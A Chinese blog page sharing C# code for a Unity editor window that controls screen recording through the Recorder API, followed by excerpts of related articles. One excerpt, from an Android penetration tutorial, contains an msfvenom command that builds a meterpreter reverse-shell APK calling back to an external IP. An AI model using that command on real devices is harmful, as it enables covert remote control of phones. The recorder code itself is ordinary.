Unity基于Recoder的API写了一个随时录屏的工具

Tips:
需要有Recorder Package引用或存在在项目

using UnityEngine;
using UnityEditor;
using UnityEditor.Recorder;
using UnityEditor.Recorder.Input;
using System.IO;
using System;public class RecorderWindow : EditorWindow
{private RecorderController recorderController;private bool isRecording = false;private string outputPath = "Recordings";private string fileName = "Gameplay";private int resolutionWidth = 1920;private int resolutionHeight = 1080;private bool includeAudio = true;private bool showAdvanced = false;private int frameRate = 60;private bool autoTimestamp = true;private Vector2 scrollPosition;[MenuItem("Tools/Recorder Control")]public static void ShowWindow(){var window = GetWindow<RecorderWindow>("录制控制");window.minSize = new Vector2(350, 450);window.SetupRecorder();}private void SetupRecorder(){if (recorderController != null) return;var controllerSettings = ScriptableObject.CreateInstance<RecorderControllerSettings>();recorderController = new RecorderController(controllerSettings);}private void OnGUI(){scrollPosition = EditorGUILayout.BeginScrollView(scrollPosition);EditorGUILayout.Space(10);EditorGUILayout.LabelField("录制控制", EditorStyles.boldLabel);EditorGUILayout.Space(5);// Recording Statusvar status = isRecording ? "录制中" : "准备就绪";var statusColor = isRecording ? new Color(0.8f, 0.2f, 0.2f) : new Color(0.2f, 0.7f, 0.2f);var origColor = GUI.color;GUI.color = statusColor;EditorGUILayout.LabelField($"状态: {status}", EditorStyles.boldLabel);GUI.color = origColor;EditorGUILayout.Space(15);// Recording ControlsEditorGUILayout.BeginHorizontal();if (GUILayout.Button(isRecording ? "停止录制" : "开始录制", GUILayout.Height(40))){if (isRecording) StopRecording();else StartRecording();}if (GUILayout.Button("打开输出目录", GUILayout.Height(40))){OpenOutputFolder();}EditorGUILayout.EndHorizontal();EditorGUILayout.Space(20);EditorGUILayout.LabelField("录制设置", EditorStyles.boldLabel);EditorGUILayout.Space(10);// Output SettingsEditorGUILayout.BeginVertical("box");EditorGUILayout.LabelField("输出设置", EditorStyles.boldLabel);EditorGUILayout.BeginHorizontal();outputPath = EditorGUILayout.TextField("输出路径", outputPath);if (GUILayout.Button("浏览", GUILayout.Width(60))){outputPath = EditorUtility.SaveFolderPanel("选择输出目录", outputPath, "");}EditorGUILayout.EndHorizontal();EditorGUILayout.BeginHorizontal();fileName = EditorGUILayout.TextField("文件名称", fileName);autoTimestamp = EditorGUILayout.Toggle("添加时间戳", autoTimestamp, GUILayout.Width(150));EditorGUILayout.EndHorizontal();EditorGUILayout.EndVertical();// Video SettingsEditorGUILayout.BeginVertical("box");EditorGUILayout.LabelField("视频设置", EditorStyles.boldLabel);EditorGUILayout.BeginHorizontal();resolutionWidth = EditorGUILayout.IntField("宽度", resolutionWidth);resolutionHeight = EditorGUILayout.IntField("高度", resolutionHeight);EditorGUILayout.EndHorizontal();frameRate = EditorGUILayout.IntSlider("帧率", frameRate, 1, 120);includeAudio = EditorGUILayout.Toggle("包含音频", includeAudio);EditorGUILayout.EndVertical();// Advanced SettingsshowAdvanced = EditorGUILayout.Foldout(showAdvanced, "高级设置", true);if (showAdvanced){EditorGUILayout.BeginVertical("box");EditorGUILayout.HelpBox("这些设置用于特殊需求,通常使用默认值即可", MessageType.Info);EditorGUILayout.Space(5);if (GUILayout.Button("重置为默认设置")){ResetToDefaults();}EditorGUILayout.EndVertical();}EditorGUILayout.Space(20);EditorGUILayout.EndScrollView();// FooterEditorGUILayout.BeginVertical("box");EditorGUILayout.LabelField("快捷键: F9 - 开始/停止录制", EditorStyles.centeredGreyMiniLabel);EditorGUILayout.LabelField("输出目录: " + GetFullOutputPath(), EditorStyles.centeredGreyMiniLabel);EditorGUILayout.EndVertical();}private void StartRecording(){SetupRecorder();var controllerSettings = recorderController.Settings;controllerSettings.ClearRecorderSettings(); // Clear existing settings// Create video recordervar videoRecorder = ScriptableObject.CreateInstance<MovieRecorderSettings>();videoRecorder.name = "Gameplay Recorder";videoRecorder.Enabled = true;// Output settingsvideoRecorder.OutputFile = Path.Combine(outputPath, fileName);if (autoTimestamp){videoRecorder.OutputFile += "_" + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");}// Resolution settingsvideoRecorder.ImageInputSettings = new GameViewInputSettings{OutputWidth = resolutionWidth,OutputHeight = resolutionHeight};// Video formatvideoRecorder.VideoBitRateMode = VideoBitrateMode.High;videoRecorder.OutputFormat = MovieRecorderSettings.VideoRecorderOutputFormat.MP4;// Audio settingsif (includeAudio){var audioRecorder = ScriptableObject.CreateInstance<AudioRecorderSettings>();audioRecorder.Enabled = true;controllerSettings.AddRecorderSettings(audioRecorder);}// Frame rate settingscontrollerSettings.SetRecordModeToManual();controllerSettings.FrameRate = frameRate;// Add video recordercontrollerSettings.AddRecorderSettings(videoRecorder);// Start recordingrecorderController.PrepareRecording();recorderController.StartRecording();isRecording = true;Debug.Log($"录制已开始: {GetFullOutputPath()}.mp4");}private void StopRecording(){if (recorderController != null){recorderController.StopRecording();Debug.Log($"录制已停止,文件保存至: {GetFullOutputPath()}.mp4");}isRecording = false;}private string GetFullOutputPath(){string fullPath = Path.Combine(Directory.GetCurrentDirectory(), outputPath, fileName);if (autoTimestamp){fullPath += "_" + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");}return fullPath;}private void OpenOutputFolder(){string fullPath = Path.Combine(Directory.GetCurrentDirectory(), outputPath);if (!Directory.Exists(fullPath)){Directory.CreateDirectory(fullPath);}EditorUtility.RevealInFinder(fullPath);}private void ResetToDefaults(){outputPath = "Recordings";fileName = "Gameplay";resolutionWidth = 1920;resolutionHeight = 1080;includeAudio = true;frameRate = 60;autoTimestamp = true;}private void OnInspectorUpdate(){if (isRecording && recorderController != null){Repaint();}}private void Update(){// Handle F9 key for recordingif (Event.current != null && Event.current.type == EventType.KeyDown && Event.current.keyCode == KeyCode.F9){if (isRecording) StopRecording();else StartRecording();Event.current.Use();}}private void OnDestroy(){if (isRecording){StopRecording();}}
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92723.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92723.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安卓渗透基础(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一个工具&#xff0c;用于给 APK 文件签名&#xff0c;确保应用的完整性和安全性。进入 File > Settings > Appearance &a…

从零构建自定义Spring Boot Starter:打造你的专属开箱即用组件

一、引言:为什么需要自定义Spring Boot Starter Spring Boot的核心理念是"约定优于配置",而Starter(启动器)正是这一理念的最佳实践。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通过封装常用组件的配置,让开发者能够"…

MySQL 基础操作教程

MySQL 是目前最流行的开源关系型数据库管理系统之一&#xff0c;广泛应用于Web开发、数据分析等场景。掌握基础的增删改查操作是入门的关键。本文将从环境准备开始&#xff0c;带你深入&#xff0c;mysql一、前置准备&#xff1a;安装与连接 MySQL 1. 安装 MySQL Windows&#…

批量把在线网络JSON文件(URL)转换成Excel工具 JSON to Excel by WTSolutions

产品介绍 JSON to Excel by WTSolutions 是一款功能强大的工具&#xff0c;能够将JSON数据快速转换为Excel格式。该工具提供两种使用方式&#xff1a;作为Microsoft Excel插件或作为在线网页应用&#xff0c;满足不同用户的需求。无论是处理简单的扁平JSON还是复杂的嵌套JSON结…

【排序算法】③直接选择排序

系列文章目录 第一篇&#xff1a;【排序算法】①直接插入排序-CSDN博客 第二篇&#xff1a;【排序算法】②希尔排序-CSDN博客 第三篇&#xff1a;【排序算法】③直接选择排序-CSDN博客 第四篇&#xff1a;【排序算法】④堆排序-CSDN博客 第五篇&#xff1a;【排序算法】⑤冒…

2024年ESWA SCI1区TOP,自适应种群分配和变异选择差分进化算法iDE-APAMS,深度解析+性能实测

目录1.摘要2.自适应种群分配和变异选择差分进化算法iDE-APAMS3.结果展示4.参考文献5.代码获取6.算法辅导应用定制读者交流1.摘要 为了提高差分进化算法&#xff08;DE&#xff09;在不同优化问题上的性能&#xff0c;本文提出了一种自适应种群分配和变异选择差分进化算法&…

目标检测数据集 - 无人机检测数据集下载「包含COCO、YOLO两种格式」

数据集介绍&#xff1a;无人机检测数据集&#xff0c;真实采集高质量含无人机图片数据&#xff0c;适用于空中飞行无人机的检测。数据标注标签包括 drone 无人机一个类别&#xff1b;适用实际项目应用&#xff1a;无人机检测项目&#xff0c;以及作为通用检测数据集场景数据的补…

Linux DNS服务解析原理与搭建

一、什么是DNSDNS 是域名服务 (Domain Name System) 的缩写&#xff0c;它是由解析器和域名服务器组成的。 域名服务器是指保存有该网络中所有主机的域名和对应IP地址&#xff0c; 并具有将域名转换为IP地址功能的服务器。 域名必须对应一个IP地址&#xff0c;而IP地址不一定有…

typecho博客设置浏览器标签页图标icon

修改浏览器标签页图标&#xff08;favicon.ico&#xff09;&#xff1a;第1种&#xff1a;上传到服务器本地目录1、制作图标文件&#xff1a;准备一张长宽比为 1:1 的图片&#xff0c;将其上传到第三方 ico 生成网站&#xff0c;生成后缀为.ico 的图片文件&#xff0c;并将其命…

LoadBalancingSpi

本文是 Apache Ignite 中 Load Balancing SPI&#xff08;负载均衡服务提供接口&#xff09; 的核心说明&#xff0c;特别是其默认实现 RoundRobinLoadBalancingSpi 的工作原理。 它解释了 Ignite 如何在集群中智能地将任务&#xff08;Job&#xff09;分配到不同的节点上执行&…

Day43--动态规划--674. 最长连续递增序列,300. 最长递增子序列,718. 最长重复子数组

Day43–动态规划–674. 最长连续递增序列&#xff0c;300. 最长递增子序列&#xff0c;718. 最长重复子数组 674. 最长连续递增序列 方法&#xff1a;动态规划 思路&#xff1a; dp[i]含义&#xff1a;到i这个位置&#xff08;包含i&#xff09;的连续递增子序列的长度递推…

支持 UMD 自定义组件与版本控制:从 Schema 到动态渲染

源码 ⸻ 支持 UMD 自定义组件与版本控制&#xff1a;从 Schema 到动态渲染 在低代码平台或可视化大屏 SDK 中&#xff0c;支持用户上传自定义组件 是一个必备能力。 而在 React 场景下&#xff0c;自定义组件通常以 UMD 格式 打包并暴露为全局变量。 本篇文章&#xff0c;我…

zookeeper3.8.4安装以及客户端C++api编译

服务端直接下载编译好的bin版本 Apache Download Mirrors C客户端需要编译库文件 zookeeper 3.8.4 使用与C API编译 - 丘狸尾 - 博客园 杂七杂八的依赖 sudo apt update sudo apt install -y \autoconf automake libtool libtool-bin m4 pkg-config gettext \cmake build-es…

使用行为树控制机器人(一) —— 节点

文章目录一、背景需求二、创建ActionNodes1. 功能实现1.1 头文件定义1.2 源文件实现1.3 main文件实现1.4 my_tree.xml 实现2. 执行结果三、 执行失败处理1. 添加尝试次数1.1 功能实现1.2 实验结果2. 完善异常处理2.1 多节点组合兜底2.2 实验结果使用行为树控制机器人(一) —— …

JavaScript Window Location

JavaScript Window Location JavaScript中的window.location对象是操作浏览器地址栏URL的一个非常有用的对象。它允许开发者获取当前页面的URL、查询字符串、路径等&#xff0c;并且可以修改它们来导航到不同的页面。以下是关于window.location的详细解析。 1. window.location…

Kubernetes生产环境健康检查自动化指南

核心脚本功能&#xff1a; 一键检查集群核心组件状态自动化扫描节点/Pod异常存储与网络关键指标检测风险分级输出&#xff08;红/黄/绿标识&#xff09;一、自动化巡检脚本 (k8s-health-check.sh) #!/bin/bash # Desc: Kubernetes全维度健康检查脚本 # 执行要求&#xff1a;kub…

消息队列系统测试报告

目录 一、项目背景 二、RabbitMQ介绍 1.什么是RabbitMQ&#xff1f; 2.RabbitMQ的工作流程是怎么样的&#xff1f; 3.项目设计 三、测试概述 MQ 测试目标&#xff1a; 测试用例统计&#xff1a; 核心模块测试详情及代码示例&#xff1a; 1. 数据库管理&#xff08;Da…

基于 Axios 的 HTTP 请求封装文件解析

import axios from "axios"; import { ElMessage } from "element-plus"; import store from "/store"; import router from "/router";// 创建axios实例 const service axios.create({baseURL: "http://localhost:8080/api&quo…

PowerDesigner生成带注释的sql方法

前提是name里面是有文字的&#xff1a; 方法开始&#xff1a; 第一步&#xff1a; Database → Edit Current DBMS → Script → Objects → Column → Add 把输出模板改成&#xff1a; %20:COLUMN% %30:DATATYPE%[.Z:[%Compressed%? compressed][ %NULLNOTNULL%][%IDENTITY…